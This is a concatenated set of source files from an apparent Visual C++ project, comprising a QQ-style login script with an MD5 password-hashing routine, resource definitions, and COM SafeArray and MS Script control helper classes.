    return (A << B) | (A >>> (32 - B))

}

function str2binl(D) {

    var C = Array();

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < D.length * chrsz; B += chrsz) {

        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)

    }

    return C

}

function binl2str(C) {

    var D = "";

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < C.length * 32; B += chrsz) {

        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)

    }

    return D

}

function binl2hex(C) {

    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";

    var D = "";

    for (var A = 0; A < C.length * 4; A++) {

        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)

    }

    return D

}

function binl2b64(D) {

    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    var F = "";

    for (var B = 0; B < D.length * 4; B += 3) {

        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);

        for (var A = 0; A < 4; A++) {

            if (B * 8 + A * 6 > D.length * 32) {

                F += b64pad

            } else {

                F += C.charAt((E >> 6 * (3 - A)) & 63)

            }

        }

    }

    return F

};

/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */
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//

// 7QW.RC2 - resources Microsoft Visual C++ does not edit directly

//



#ifdef APSTUDIO_INVOKED

	#error this file is not editable by Microsoft Visual C++

#endif //APSTUDIO_INVOKED





/////////////////////////////////////////////////////////////////////////////

// Add manually edited resources here...



/////////////////////////////////////////////////////////////////////////////
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源码/res/Xlogin.js

STR_UINTIP = 1;

STR_QLOGIN_VERSION_ERR = 2;

STR_NO_UIN = 3;

STR_NO_PWD = 4;

STR_NO_VCODE = 5;

STR_INV_UIN = 6;

STR_INV_VCODE = 7;

STR_UIN = 8;

STR_PWD = 9;

STR_VCODE = 10;

STR_VCODE_TIP = 11;

STR_CHANGE_VCODE = 12;

STR_REMEMBER_PWD = 13;

STR_1_DAY = 14;

STR_1_WEEK = 15;

STR_1_MONTH = 16;

STR_HALF_YEAR = 17;

STR_1_YEAR = 18;

STR_FORGET_PWD = 19;

STR_LOGIN = 20;

STR_RESET = 21;

STR_SWITCH_QLOGIN = 22;

STR_LOGIN_TITLE = 23;

STR_QLOGIN_INTRO = 24;

STR_QLOGINING = 25;

STR_QLOGIN_HELP = 26;

STR_SWITCH_NORMAL = 27;

STR_QLOGIN = 28;

STR_QLOGIN_BUSY = 29;

STR_QLOGIN_OFFLINE = 30;

STR_QLOGIN_OTHER_ERR = 31;

STR_BACK = 32;

STR_RETRY = 33;

STR_NEW_REG = 34;

STR_QLOGIN_SELECT = 35;

STR_QLOGIN_VER = 36;

STR_QLOGIN_SELECT_TIP = 37;

STR_QLOGIN_NO_UIN = 38;

STR_QLOGIN_SELECT_OFFLINE = 39;

my_version = unescape("version1.0.0");

function ptui_trim(A) {

    return A.replace(/(^\s*)|(\s*$)/g, "")

}

function ptui_str(A) {

    A -= 1;

    if (A >= 0 && A < g_strArray.length) {

        return g_strArray[A]

    }

    return ""

}

function ptui_mapStr(B) {

    for (i = 0; i < B.length; i++) {

        var A = document.getElementById(B[i][1]);

        if (A != null) {

            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {

                if (A.innerHTML == "") {

                    A.innerHTML = ptui_str(B[i][0])

                }

            } else {

                if ("INPUT" == A.nodeName) {

                    if (A.value == "") {

                        A.value = ptui_str(B[i][0])

                    }

                } else {

                    if ("IMG" == A.nodeName) {

                        A.alt = ptui_str(B[i][0])

                    }

                }

            }

        }

    }

}

function ptui_onUserFocus(C, A) {

    var B = document.getElementById(C);

    if (ptui_str(STR_UINTIP) == B.value) {

        B.value = ""

    }

    B.style.color = A

}

function ptui_onUserBlue(C, A) {

    var B = document.getElementById(C);

    if ("" == B.value) {

        B.value = ptui_str(STR_UINTIP);

        B.style.color = A

    }

}

var g_speedArray = new Array();

function ptui_setSpeed(B) {

    if (B <= 0) {

        return

    }

    var A = g_speedArray.length;

    g_speedArray[A] = new Array(B, new Date())

}

function ptui_reportSpeed(B) {

    if (Math.random() > 0.1) {

        return

    }

    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";

    for (var A = 0; A < g_speedArray.length; A++) {

        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)

    }

    imgSendTimePoint = new Image();

    imgSendTimePoint.src = url

}

function ptui_showDiv(A, B) {

    var C = document.getElementById(A);

    if (null == C) {

        return

    }

    if (B) {

        C.style.display = "block"

    } else {

        C.style.display = "none"

    }

}

function ptui_notifySize(B) {

    try {

        obj = document.getElementById(B);

        if (obj) {

            if (parent.ptlogin2_onResize) {

                width = 1;

                height = 1;

                if (obj.offsetWidth > 0) {

                    width = obj.offsetWidth

                }

                if (obj.offsetHeight > 0) {

                    height = obj.offsetHeight

                }

                parent.ptlogin2_onResize(width, height)

            }

        }

    } catch(A) {}

}

function ptui_notifyClose() {

    try {

        if (parent.ptlogin2_onClose) {

            parent.ptlogin2_onClose()

        } else {

            if (top == this) {

                window.close()

            }

        }

    } catch(A) {

        window.close()

    }

}

function ptui_setUinColor(D, B, A) {

    var C = document.getElementById(D);

    if (ptui_str(STR_UINTIP) == C.value) {

        C.style.color = A

    } else {

        C.style.color = B

    }

}

function ptui_onEnableLLogin(B) {

    var A = B.low_login_enable;

    var C = B.low_login_hour;

    if (A != null && C != null) {

        C.disabled = !A.checked

    }

}

function ptui_changeImgEx(D, C, G, F) {

    var A = document.getElementById("imgVerify");

    try {

        if (A != null) {

            A.src = F + "?aid=" + C + "&" + Math.random();

            var B = document.getElementById("verifycode");

            if (B != null && B.disabled == false && G) {

                B.focus();

                B.select()

            }

        }

    } catch(E) {}

}

function ptui_changeImg(B, A, C) {

    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")

}

function ptui_changeImgHttps(B, A, C) {

    ptui_changeImgEx(B, A, C, "./getimage")

}

function ptui_checkQQUin(qquin) {

    if (qquin.length == 0) {

        return false

    }

    qquin = ptui_trim(qquin);

    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {

        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {

            return false

        }

        var exp = eval("/^[0-9]*$/");

        return exp.test(qquin)

    }

    return true

}

function ptui_checkPwdOnInput() {

    if (document.getElementById("p").value.length >= 16) {

        return false

    }

    return true

}

function ptui_onLogin(A) {

    try {

        if (parent.ptlogin2_onLogin) {

            if (!parent.ptlogin2_onLogin()) {

                return false

            }

        }

        if (parent.ptlogin2_onLoginEx) {

            var D = A.u.value;

            var B = A.verifycode.value;

            if (ptui_str(STR_UINTIP) == D) {

                D = ""

            }

            if (!parent.ptlogin2_onLoginEx(D, B)) {

                return false

            }

        }

    } catch(C) {}

    return ptui_checkValidate(A)

}

function ptui_onLoginEx(B, C) {

    if (ptui_onLogin(B)) {

        var A = new Date();

        A.setHours(A.getHours() + 24 * 30);

        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);

        return true

    }

    return false

}

function ptui_setDefUin(B, A) {

    if (A == "" || A == null) {

        A = getCookie("ptui_loginuin")

    }

    A = parseInt(A);

    if (isNaN(A)) {

        return

    }

    if (A <= 0) {

        A = ""

    }

    if (A != "" && A != null) {

        B.u.value = A

    }

}

function ptui_onReset(A) {

    try {

        if (parent.ptlogin2_onReset) {

            if (!parent.ptlogin2_onReset()) {

                return false

            }

        }

    } catch(B) {}

    return true

}

function ptui_initFocus(B) {

    try {

        var A = B.u;

        var D = B.p;

        var E = B.verifycode;

        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

            A.focus();

            return

        }

        if (D.value == "") {

            D.focus();

            return

        }

        if (E.value == "") {

            E.focus()

        }

    } catch(C) {}

}

function ptui_checkValidate(B) {

    var A = B.u;

    var C = B.p;

    var D = B.verifycode;

    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

        alert(ptui_str(STR_NO_UIN));

        A.focus();

        return false

    }

    if (C.value == "") {

        alert(ptui_str(STR_NO_PWD));

        C.focus();

        return false

    }

    if (D.value == "") {

        alert(ptui_str(STR_NO_VCODE));

        D.focus();

        return false

    }

    A.value = ptui_trim(A.value);

    if (!ptui_checkQQUin(A.value)) {

        alert(ptui_str(STR_INV_UIN));

        A.focus();

        A.select();

        return false

    }

    if (D.value.length != 4) {

        alert(ptui_str(STR_INV_VCODE));

        D.focus();

        D.select();

        return false

    }

    C.setAttribute("maxlength", "32");

    preprocess(B);

    return true

}

function getCookieVal(B) {

    var A = document.cookie.indexOf(";", B);

    if (A == -1) {

        A = document.cookie.length

    }

    return unescape(document.cookie.substring(B, A))

}

function getCookie(D) {

    var B = D + "=";

    var F = B.length;

    var A = document.cookie.length;

    var E = 0;

    while (E < A) {

        var C = E + F;

        if (document.cookie.substring(E, C) == B) {

            return getCookieVal(C)

        }

        E = document.cookie.indexOf(" ", E) + 1;

        if (E == 0) {

            break

        }

    }

    return null

}

function setCookie(C, E) {

    var A = setCookie.arguments;

    var H = setCookie.arguments.length;

    var B = (2 < H) ? A[2] : null;

    var G = (3 < H) ? A[3] : null;

    var D = (4 < H) ? A[4] : null;

    var F = (5 < H) ? A[5] : null;

    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")

}

var hexcase = 1;

var b64pad = "";

var chrsz = 8;

var mode = 32;

function preprocess(A,B) {

   // var B = "";

   // B += A.verifycode.value;

   // B = B.toUpperCase();

   // A.p.value = md5(md5_3(A.p.value) + B);

   // return true







//var str="necron8952795380";

str=md5(md5_3(B)+A);

//document.write(str);

//var ForReading = 1, ForWriting = 2;

    //var fso = new ActiveXObject("Scripting.FileSystemObject");



   // Open the file for output.

    //var filename = "c:\\testfile.txt";

   // var f = fso.OpenTextFile(filename, ForWriting, true);



    // Write to the file.

   //f.WriteLine("Hello world!");

   //f.WriteLine("JScript is fun");

   //f.Close();

return str;

}

function md5_3(B) {

    var A = new Array;

    A = core_md5(str2binl(B), B.length * chrsz);

    A = core_md5(A, 16 * chrsz);

    A = core_md5(A, 16 * chrsz);

    return binl2hex(A)

}

function md5(A) {

    return hex_md5(A)

}

function hex_md5(A) {

    return binl2hex(core_md5(str2binl(A), A.length * chrsz))

}

function b64_md5(A) {

    return binl2b64(core_md5(str2binl(A), A.length * chrsz))

}

function str_md5(A) {

    return binl2str(core_md5(str2binl(A), A.length * chrsz))

}

function hex_hmac_md5(A, B) {

    return binl2hex(core_hmac_md5(A, B))

}

function b64_hmac_md5(A, B) {

    return binl2b64(core_hmac_md5(A, B))

}

function str_hmac_md5(A, B) {

    return binl2str(core_hmac_md5(A, B))

}

function md5_vm_test() {

    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"

}

function core_md5(K, F) {

    K[F >> 5] |= 128 << ((F) % 32);

    K[(((F + 64) >>> 9) << 4) + 14] = F;

    var J = 1732584193;

    var I = -271733879;

    var H = -1732584194;

    var G = 271733878;

    for (var C = 0; C < K.length; C += 16) {

        var E = J;

        var D = I;

        var B = H;

        var A = G;

        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);

        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);

        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);

        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);

        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);

        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);

        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);

        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);

        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);

        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);

        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);

        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);

        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);

        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);

        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);

        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);

        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);

        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);

        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);

        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);

        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);

        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);

        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);

        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);

        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);

        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);

        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);

        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);

        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);

        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);

        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);

        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);

        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);

        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);

        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);

        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);

        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);

        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);

        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);

        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);

        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);

        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);

        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);

        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);

        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);

        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);

        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);

        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);

        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);

        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);

        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);

        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);

        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);

        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);

        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);

        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);

        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);

        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);

        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);

        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);

        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);

        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);

        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);

        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);

        J = safe_add(J, E);

        I = safe_add(I, D);

        H = safe_add(H, B);

        G = safe_add(G, A)

    }

    if (mode == 16) {

        return Array(I, H)

    } else {

        return Array(J, I, H, G)

    }

}

function md5_cmn(F, C, B, A, E, D) {

    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)

}

function md5_ff(C, B, G, F, A, E, D) {

    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)

}

function md5_gg(C, B, G, F, A, E, D) {

    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)

}

function md5_hh(C, B, G, F, A, E, D) {

    return md5_cmn(B ^ G ^ F, C, B, A, E, D)

}

function md5_ii(C, B, G, F, A, E, D) {

    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)

}

function core_hmac_md5(C, F) {

    var E = str2binl(C);

    if (E.length > 16) {

        E = core_md5(E, C.length * chrsz)

    }

    var A = Array(16),

    D = Array(16);

    for (var B = 0; B < 16; B++) {

        A[B] = E[B] ^ 909522486;

        D[B] = E[B] ^ 1549556828

    }

    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);

    return core_md5(D.concat(G), 512 + 128)

}

function safe_add(A, D) {

    var C = (A & 65535) + (D & 65535);

    var B = (A >> 16) + (D >> 16) + (C >> 16);

    return (B << 16) | (C & 65535)

}

function bit_rol(A, B) {

    return (A << B) | (A >>> (32 - B))

}

function str2binl(D) {

    var C = Array();

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < D.length * chrsz; B += chrsz) {

        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)

    }

    return C

}

function binl2str(C) {

    var D = "";

    var A = (1 << chrsz) - 1;

    for (var B = 0; B < C.length * 32; B += chrsz) {

        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)

    }

    return D

}

function binl2hex(C) {

    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";

    var D = "";

    for (var A = 0; A < C.length * 4; A++) {

        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)

    }

    return D

}

function binl2b64(D) {

    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    var F = "";

    for (var B = 0; B < D.length * 4; B += 3) {

        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);

        for (var A = 0; A < 4; A++) {

            if (B * 8 + A * 6 > D.length * 32) {

                F += b64pad

            } else {

                F += C.charAt((E >> 6 * (3 - A)) & 63)

            }

        }

    }

    return F

};

/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */







源码/resource.h

//{{NO_DEPENDENCIES}}

// Microsoft Developer Studio generated include file.

// Used by 7QW.rc

//

#define IDD_ABOUTBOX                    100

#define IDR_MAINFRAME                   128

#define IDR_MY7QWTYPE                   129

#define IDD_DIALOG1                     130

#define IDD_DIALOG2                     131

#define IDD_DIALOG3                     132

#define IDD_DIALOG4                     133

#define IDD_DIALOG5                     135

#define IDI_MSG                         137

#define IDB_BITMAP1                     138

#define IDC_EDIT2                       1003

#define IDC_EDIT3                       1004

#define IDC_BUTTON1                     1007

#define IDC_EDIT4                       1010

#define IDC_BUTTON2                     1013

#define IDC_COMBO1                      1014

#define IDC_BUTTON6                     1017

#define IDC_BUTTON3                     1018

#define IDC_BUTTON4                     1019

#define IDC_EDIT1                       1233

#define IDC_STATIC1                     1333

#define ID_TEST                         32771

#define ID_AMF3_DECODE                  32772

#define IDM_MENU_LOGIN                  32773

#define ID_AMF3_DECODE2                 32774



// Next default values for new objects

// 

#ifdef APSTUDIO_INVOKED

#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_3D_CONTROLS                     1

#define _APS_NEXT_RESOURCE_VALUE        139

#define _APS_NEXT_COMMAND_VALUE         32775

#define _APS_NEXT_CONTROL_VALUE         1020

#define _APS_NEXT_SYMED_VALUE           101

#endif

#endif
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??/SafeArrayHelper.cpp///////////////////////////////////////////////////////////////////////////////
//  File:       SafeArrayHelper.cpp
//  Version:    1.0
//
//  Author:     Ernest Laurentin
//  E-mail:     elaurentin@sympatico.ca
//
//  Version history
//
//  1.0 - Initial release.
///////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SafeArrayHelper.h"


///////////////////////////////////////////////////////////////////////////////
// Construction
CSafeArrayHelper::CSafeArrayHelper()
: m_pSA(NULL)
{
}


CSafeArrayHelper::~CSafeArrayHelper()
{
    Destroy();
}


///////////////////////////////////////////////////////////////////////////////
// Members


///////////////////////////////////////////////////////////////////////////////
// Create : Creates a SafeArray object
bool CSafeArrayHelper::Create(VARTYPE  vt, UINT  cDims, UINT lBound, UINT cCount)
{
    Destroy();

    if (cDims == 1) // this is somewhat faster...
        m_pSA = SafeArrayCreateVector(vt, lBound, cCount);
    else
    {
        SAFEARRAYBOUND rgsabound[1] = { 0 };
        rgsabound[0].lLbound = lBound;
        rgsabound[0].cElements = cCount;
        m_pSA = SafeArrayCreate(vt, cDims, rgsabound);
    }
    return (m_pSA != NULL);
}


///////////////////////////////////////////////////////////////////////////////
// Destroy : Destroy the safeArray object (can't destroy it object is locked)
bool CSafeArrayHelper::Destroy()
{
    if (NULL != m_pSA)
    {
        // Maybe the object is locked!
        if (SUCCEEDED(SafeArrayDestroy( m_pSA )))
            m_pSA = NULL;
    }
    return (m_pSA == NULL);
}


///////////////////////////////////////////////////////////////////////////////
// GetArray : return Safearray pointer
LPSAFEARRAY CSafeArrayHelper::GetArray()
{
    return m_pSA;
}


///////////////////////////////////////////////////////////////////////////////
// GetDimension : Get Dimemsion of the SafeArray
UINT CSafeArrayHelper::GetDimension()
{
    UINT uDim = 0;
    if (NULL != m_pSA)
        uDim = SafeArrayGetDim( m_pSA );
    return uDim;
}


///////////////////////////////////////////////////////////////////////////////
// Attach : Attach an existing SafeArray to this object
bool CSafeArrayHelper::Attach(LPSAFEARRAY psa)
{
    if (NULL != psa)    // prevent 'destroy' for null pointer
    {
        Destroy();
        m_pSA = psa;
        return true;
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// Detach: Detach this SafeArray
LPSAFEARRAY CSafeArrayHelper::Detach()
{
    if (NULL == m_pSA)
        return NULL;

    LPSAFEARRAY psa = m_pSA;
    m_pSA = NULL;
    return psa;
}


///////////////////////////////////////////////////////////////////////////////
// AttachFromVariant: Attach a Variant SafeArray
bool CSafeArrayHelper::AttachFromVariant(VARIANT* pVariant)
{
    if (NULL != pVariant)
    {
        if (pVariant->vt & VT_ARRAY)
        {
            LPSAFEARRAY psa = pVariant->parray;
            if (pVariant->vt & VT_BYREF)    // VB use this...
                psa = *pVariant->pparray;
            return Attach( psa );
        }
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// GetAsVariant
// Description: Return a variant object of this SafeArray.  This function will
//              try to represent the data based on features or size of elements
VARIANT CSafeArrayHelper::GetAsVariant()
{
    VARIANT var;
    VariantClear(&var);
    if (NULL != m_pSA)
    {
        var.vt = VT_ARRAY|VT_BYREF;
        var.pparray = &m_pSA;
        USHORT fFeatures = m_pSA->fFeatures;
        LONG cbElements = m_pSA->cbElements;
        if (fFeatures & FADF_BSTR)
            var.vt |= VT_BSTR;
        else if (fFeatures & FADF_UNKNOWN)
            var.vt |= VT_UNKNOWN;
        else if (fFeatures & FADF_DISPATCH)
            var.vt |= VT_DISPATCH;
        else if (fFeatures & FADF_VARIANT)
            var.vt |= VT_VARIANT;
        else if (fFeatures & FADF_RECORD)
            var.vt |= VT_RECORD;
        else if (fFeatures & FADF_HAVEVARTYPE)
        {
            // these are just guess based on size of element, may not be accurated...
            if (sizeof(char) == cbElements) // 1 byte
                var.vt |= VT_UI1;
            else if (sizeof(short) == cbElements) // 2 bytes
                var.vt |= VT_UI2;
            else if (sizeof(long) == cbElements) // 4 bytes -- or float (VT_R4)
                var.vt |= VT_UI4;
            else if (sizeof(double) == cbElements) // 8 bytes -- or Currency (VT_CY)
                var.vt |= VT_R8;
        }
    }
    return var;
}

///////////////////////////////////////////////////////////////////////////////
// AccessData : Get Access the SafeArray data
bool CSafeArrayHelper::AccessData(void FAR* FAR* pvData)
{
    if (NULL != m_pSA && NULL != pvData)
    {
        return (SafeArrayAccessData(m_pSA, pvData) == S_OK);
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// UnaccessData : Unaccess the safeArray data pointer
bool CSafeArrayHelper::UnaccessData()
{
    if (NULL != m_pSA)
    {
        return (SafeArrayUnaccessData(m_pSA) == S_OK);
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// Lock : Lock the SafeArray
bool CSafeArrayHelper::Lock()
{
    if (NULL != m_pSA)
    {
        return (SafeArrayLock(m_pSA) == S_OK);
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// Unlock : Unlock the SafeArray
bool CSafeArrayHelper::Unlock()
{
    if (NULL != m_pSA)
    {
        return (SafeArrayUnlock(m_pSA) == S_OK);
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// PutElement : Set element data
bool CSafeArrayHelper::PutElement(long lIndices, void FAR* vData)
{
    if (NULL != m_pSA)
    {
        return (SafeArrayPutElement(m_pSA, &lIndices, vData) == S_OK);
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// GetElement : Get element data
bool CSafeArrayHelper::GetElement(long lIndices, void FAR* vData)
{
    if (NULL != m_pSA)
    {
        return (SafeArrayGetElement(m_pSA, &lIndices, vData) == S_OK);
    }
    return false;
}
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#ifndef _SAFEARRAYHELPER_H_

#define _SAFEARRAYHELPER_H_



class CSafeArrayHelper

{

	public:

		CSafeArrayHelper();

		~CSafeArrayHelper();



	bool Create(VARTYPE  vt, UINT  cDims, UINT lBound, UINT cCount);

	bool Destroy();

	UINT GetDimension();



	bool Attach(LPSAFEARRAY psa);

	bool AttachFromVariant(VARIANT* pVariant);

	LPSAFEARRAY Detach();

	LPSAFEARRAY GetArray();

	bool AccessData(void FAR* FAR* pvData);

	bool UnaccessData();

	bool Lock();

	bool Unlock();

	bool PutElement(long lIndices, void FAR* vData);

	bool GetElement(long lIndices, void FAR* vData);

	VARIANT GetAsVariant();



	protected:

	LPSAFEARRAY	m_pSA;



	private:

};



#endif // _SAFEARRAYHELPER_H_
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??/ScriptObject.cpp///////////////////////////////////////////////////////////////////////////////
//  File:       ScriptObject.cpp
//  Version:    1.0
//
//  Author:     Ernest Laurentin
//  E-mail:     elaurentin@sympatico.ca
//
//  This class implements MSScript control
//  It can interface script from resource file or text file
//
//  This code may be used in compiled form in any way you desire. This
//  file may be redistributed unmodified by any means PROVIDING it is
//  not sold for profit without the authors written consent, and
//  providing that this notice and the authors name and all copyright
//  notices remains intact.
//
//  An email letting me know how you are using it would be nice as well.
//
//  This file is provided "as is" with no expressed or implied warranty.
//  The author accepts no liability for any damage/loss of business that
//  this c++ class may cause.
//
//  Version history
//
//  1.0 - Initial release.
//  1.1 - Bug fixes for VC7 and Unicode
///////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <comutil.h>
#include "ScriptObject.h"


///////////////////////////////////////////////////////////////////////////////
// Construction
CScriptObject::CScriptObject()
{   
    CommonConstruct(); // will throw exception if failed
}


CScriptObject::~CScriptObject()
{
    // Destroy object- and release
    m_pScript = NULL;
}


///////////////////////////////////////////////////////////////////////////////
// Members

///////////////////////////////////////////////////////////////////////////////
// CommonConstruct
void CScriptObject::CommonConstruct()
{
    HRESULT hr = m_pScript.CreateInstance(__uuidof(ScriptControl));
    _com_util::CheckError( hr ); // will throw an exception if failed

    // will not come here if exception
    _tcscpy(m_szLanguage, LANGUAGE_DEFAULT);
    m_pScript->PutAllowUI( VARIANT_FALSE );
    m_pScript->PutLanguage( _bstr_t(m_szLanguage ) );

}


///////////////////////////////////////////////////////////////////////////////
// GetLanguage : Get current script language
LPCTSTR CScriptObject::GetLanguage()
{
    return m_szLanguage;
}


///////////////////////////////////////////////////////////////////////////////
// SetLanguage : Set current script language
void CScriptObject::SetLanguage(LPCTSTR szLanguage)
{
    _tcscpy(m_szLanguage, szLanguage);

    if (m_pScript != NULL)
    {
        m_pScript->PutLanguage( _bstr_t( szLanguage ) );
        m_pScript->Reset();
        m_FunctionList.clear();
    }
}


///////////////////////////////////////////////////////////////////////////////
// GetMethodsCount
int  CScriptObject::GetMethodsCount() const
{
    return m_FunctionList.size();
}


///////////////////////////////////////////////////////////////////////////////
// GetNameAt : Get method name at specified index
LPCTSTR CScriptObject::GetNameAt(int index)
{
    if( index >= 0 && index < m_FunctionList.size())
    {
        stl_string_list::iterator iter = m_FunctionList.begin();
        while( index > 0)
        {
            iter++;
            index--;
        }
        return (*iter).c_str();
    }
    return TEXT("");
}


///////////////////////////////////////////////////////////////////////////////
// Reset : Reset script control object
void CScriptObject::Reset()
{
    if (m_pScript != NULL)
    {
        m_pScript->Reset();

        // empty list...
        m_FunctionList.clear();
    }
}


///////////////////////////////////////////////////////////////////////////////
// GetErrorString : Get Script error string
LPCTSTR CScriptObject::GetErrorString()
{
    m_szError[0] = 0;
    if (m_pScript != NULL)
    {
        try{
            IScriptErrorPtr pError = m_pScript->GetError();
            if (pError != NULL)
            {
                _bstr_t desc  = _bstr_t("Error: ") + pError->GetDescription() + _bstr_t(", ");
                        desc += pError->GetText() + _bstr_t("; in line ");
                        desc += _bstr_t(pError->GetLine());
                int count = __min(desc.length(), ERROR_DESC_LEN); // string may be truncated...
                _tcsncpy(m_szError, (LPCTSTR) desc, count);
                m_szError[count] = 0;
               pError->Clear();
            }
        }
        catch(_com_error& e)
        {
            TRACE( (LPSTR)e.Description() );
            TRACE( (LPSTR)"\n" );
        }
    }
    return m_szError;
}


